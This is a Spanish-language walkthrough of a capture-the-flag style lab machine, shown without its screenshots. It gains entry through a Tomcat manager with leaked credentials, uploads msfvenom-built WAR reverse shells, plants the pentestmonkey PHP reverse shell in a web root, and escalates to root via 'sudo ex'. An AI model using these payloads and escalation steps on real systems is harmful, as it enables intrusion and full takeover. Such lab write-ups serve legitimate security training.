Hacemos el escaneo de nmap:

Y un apache es lo que está corriendo en bajo el puerto 80:

Pero sin embargo por el puerto 8080 vemos que está corriendo un tomcat:

Y por estos enlaces podemos ver un lugar de login:

Pero si hacemos clic en cancel, veremos que se nos redirige a otra ventana donde se nos muestran las credenciales:

tomcat:s3cret

Proporcionamos las credenciales y estamos dentro, donde además se nos muestra que podemos subir un archivo WAR:

Creamos con msfvenom un fichero .war malicioso:

msfvenom -p java/shell_reverse_tcp LHOST=192.168.0.37 LPORT=443 -f war -o revshell.war

Lo subimos y lo tenemos aquí dentro del servidor:

Y vemos que nos da error, porque este payload generado no es el adecuado:

Por lo que generamos otro con msfvenom añadiendo la parte de jsp, que significa JavaServer Pages:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.37 LPORT=443 -f war > reverse.war

Lo ejecutamos:

Hacemos un clic en reverse y estamos dentro:

Para la escalada, podemos lanzar un linpeas y nos encuentra un directorio interesante:

Nos ubicamos dentro del directorio de /etc/tomcat9 y vemos estos archivos:

Y si visualizamos el archivo tomcat-users.xml nos encontramos con unas credenciales del usuario sa y con contraseña salala!!:

sa:salala!!

Por lo que entramos por ssh:

Y vemos un usuario llamado toor:

Podemos intentar ver procesos que estén funcionando en segundo plano y asociados con toor:

ps aux | grep toor

Vemos que el usuario toor está levantando un servicio apache http, por lo que podemos ubicarnos dentro de /var/www/html y ahí colarle una reverse shell en php, por ejemplo la de pentestmonkey:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Establecemos nuestros datos:

Ahora desde el puerto 80 llamamos a este archivo:

192.168.0.18/php-reverse-shell.php

Y habremos recibido la reverse shell por aquí:

Y ejecutando el comando sudo -l vemos que podemos ejecutar el binario de /ex:

Vemos las instrucciones para escalar privilegios con este binario en la web de gtfobins:

Lo que tenemos que hacer es ejecutar primero sudo ex y luego lanzarnos una sh:

sudo -u root /usr/bin/ex
 
!/bin/sh